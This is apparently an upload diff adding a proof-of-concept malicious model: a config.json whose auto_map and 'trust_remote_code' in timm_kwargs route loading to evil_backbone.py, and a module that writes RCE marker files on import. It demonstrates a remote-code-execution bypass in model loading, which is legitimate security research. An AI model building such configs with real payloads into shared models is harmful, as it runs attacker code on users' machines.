Upload 2 files

config.json

@@ -0,0 +1,33 @@
+{
+  "model_type": "omdet-turbo",
+  "backbone_config": {
+    "model_type": "swin",
+    "image_size": 224,
+    "embed_dim": 96,
+    "depths": [
+      2,
+      2,
+      6,
+      2
+    ],
+    "num_heads": [
+      3,
+      6,
+      12,
+      24
+    ],
+    "window_size": 7,
+    "out_features": [
+      "stage2",
+      "stage3",
+      "stage4"
+    ],
+    "_name_or_path": "/workspace/validation_artifacts/omdet_turbo_timm_kwargs_bypass/malicious_model",
+    "auto_map": {
+      "AutoBackbone": "evil_backbone.EvilBackbone"
+    }
+  },
+  "timm_kwargs": {
+    "trust_remote_code": true
+  }
+}

evil_backbone.py

@@ -0,0 +1,16 @@
+import os
+from pathlib import Path
+MARKER_DIR = Path(os.environ.get("POC_MARKER_DIR", "/tmp/omdet_turbo_poc_markers"))
+MARKER_DIR.mkdir(parents=True, exist_ok=True)
+(MARKER_DIR / "RCE_MARKER").write_text("dynamic AutoBackbone module imported/executed\n")
+
+import torch.nn as nn
+
+class EvilBackbone(nn.Module):
+    def __init__(self):
+        super().__init__()
+
+    @classmethod
+    def _from_config(cls, config, **kwargs):
+        (MARKER_DIR / "FROM_CONFIG_MARKER").write_text("EvilBackbone._from_config called\n")
+        return cls()